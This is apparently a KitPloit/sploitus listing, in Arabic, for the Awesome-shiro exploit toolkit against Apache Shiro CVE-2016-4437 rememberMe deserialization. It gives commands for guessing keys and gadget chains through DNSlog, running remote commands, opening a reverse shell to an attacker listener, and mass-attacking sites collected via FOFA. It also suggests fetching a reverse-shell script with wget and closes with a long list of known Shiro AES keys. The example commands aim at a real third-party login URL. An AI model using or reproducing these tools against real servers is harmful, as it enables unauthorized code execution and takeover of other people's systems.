## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BKFISH-AWESOME_SHIRO
## Awesome-shiro
CVE-2016-4437 Shiro<=1.2.4 إلغاء التسلسل، أداة تخمين الوحدة والمفتاح، تنفيذ الأوامر، شل عكسي
* * *
## سبب الثغرة
لأن Shiro يقوم بإلغاء تسلسل حقل `rememberMe` في ملف تعريف الارتباط، فإذا عُرفت طريقة ترميز Shiro، وتم ترميز الأمر الخبيث بهذه الطريقة ووضعه في ملف تعريف الارتباط في رأس HTTP، فعند قيام Shiro بإلغاء تسلسل حقل `rememberMe` من ملف تعريف الارتباط المرسل، سيتم تنفيذ الأمر المُدرج، مما يؤدي إلى تنفيذ الأوامر.
يستخدم Shiro افتراضيًا `CookieRememberMeManager`، وتكون معالجة ملف تعريف الارتباط كالتالي: `الحصول على قيمة cookie rememberMe → فك ترميز Base64 → فك تشفير AES → إلغاء التسلسل`
## البيئة
linux/win10 كلاهما مناسب
python2/python3 كلاهما مناسب
نظرًا لوجود `ysoserial.jar` في مجلد `module`، فإن المشروع كبير نسبيًا، فاستميحك عذرًا.
## إعداد البيئة المحلية
root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
## استخدام البرنامج النصي
#### 1、`shiro_crack.py` \- استخدام وحدة التخمين
يحتاج إلى الدمج مع http://dnslog.cn/
root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
بعد النجاح، افحص السجل - تنسيق السجل هو `{{key}}.{{module}}.dnslogurl`
root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
وبذلك نعرف أن المفتاح الناجح هو `U3ByaW5nQmxhZGUAAAAAAA==`، والوحدة هي `CommonsBeanutils1` نظرًا لأن المفتاح يحتوي على رموز مثل `==` و `/` و `+`، فإن هذا المشروع سيقوم بتسريبها قليلاً. يجب مقارنتها يدويًا مع مفاتيح الملحق 1. ابحث عن موقع على FOFA لتجربته  
##### مبدأ `shiro_crack.py`
في الواقع، هناك العديد من أدوات تخمين الوحدة والمفتاح على الإنترنت، لكنها عادةً ما تكتشف فقط ما إذا كان الاتصال ناجحًا دون معرفة الوحدة والمفتاح، لأنه بالنسبة لـ RCE بدون استجابة، يكون رمز الاستجابة دائمًا 200 سواء نجح أم لا. يحصل هذا المشروع بشكل غير مباشر على المفتاح والوحدة الناجحين من خلال دمج تخمين الوحدة والمفتاح مع DNSlog. المبدأ هو جوهر DNSlog، حيث تترك DNS سجلات عند تحليلها، ويتم الحصول على معلومات الطلب من خلال قراءة سجلات تحليل أسماء النطاقات متعددة المستويات.
### 2、`shiro_rce.py` \- استخدام RCE
يمكن الدمج مع http://dnslog.cn/
root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
عند فحص سجلات DNSlog، نرى `ping rcetest.x9zm4v.dnslog.cn`. للتمييز، يُنصح باستخدام نطاق بمستوى أدنى.
#### تكوين `shiro_rce`
1. تكوين الوحدة قم بتغيير `CommonsBeanutils1` في السطر 13: ` popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)` إلى الوحدة التي نجح تخمينها.
2. تكوين المفتاح قم بتغيير السطر 16:
root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
إلى المفتاح الذي نجح تخمينه. ابحث عن موقع على FOFA لاختباره  
### 3、`shiro_getshell` \- شل عكسي
root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{الهدف المهاجم}} -lh {{IP لجهاز الشل العكسي}} -lp {{منفذ الشل العكسي}}
للأمان، اختبر على الجهاز المحلي. المبدأ هو دمج JRMPListener مع الحمولة في أداة واحدة. في الواقع، يمكن الاستغناء عن jrmplistener.
#### اختبار `shiro_getshell`:
 
* * *
فكرة صغيرة بما أنه يمكن الاتصال بالإنترنت، لماذا لا يمكن استخدام `shiro_rec` مباشرة مع `bash` للشل العكسي؟ لقد جربته عدة مرات وفشلت، أعتقد أن Shiro لديه بعض التصفية. لكنني اكتشفت أنه يمكن أولاً تنزيل برنامج نصي sh للشل العكسي باستخدام wget، ثم تنفيذه باستخدام sh. راجع بحث صغير حول تنفيذ شل عكسي بدون استخدام jrmplistener
* * *
### 4、`fuzz-shiro`
قم بإجراء اختبار بسيط بناءً على رأس الطلب ورأس الاستجابة - ضع مواقع Shiro في `shiro.txt`.
### 5、`shiro_piliang_crack.py`
يُقترح أولاً استخراج مواقع Shiro الموجودة في `shiro.txt` باستخدام `fuzz-shiro`، ثم تنفيذ هجوم جماعي. سجل DNSlog سيكون:
{{key}}.{{module}}.{{url}}.dnsurl
لقد اختبرته وكانت النتائج جيدة.
## الأسئلة الشائعة
### 1、ظهور خطأ `No module named 'Crypto'` عند التشغيل على Windows 10
قم بتشغيل الأوامر التالية:
root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome
في دليل تثبيت Python، انتقل إلى `Lib\site-packages`، وقم بتغيير اسم مجلد `crypto` إلى `Crypto`.
## الملحق 1、مفاتيح Shiro الشائعة
root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==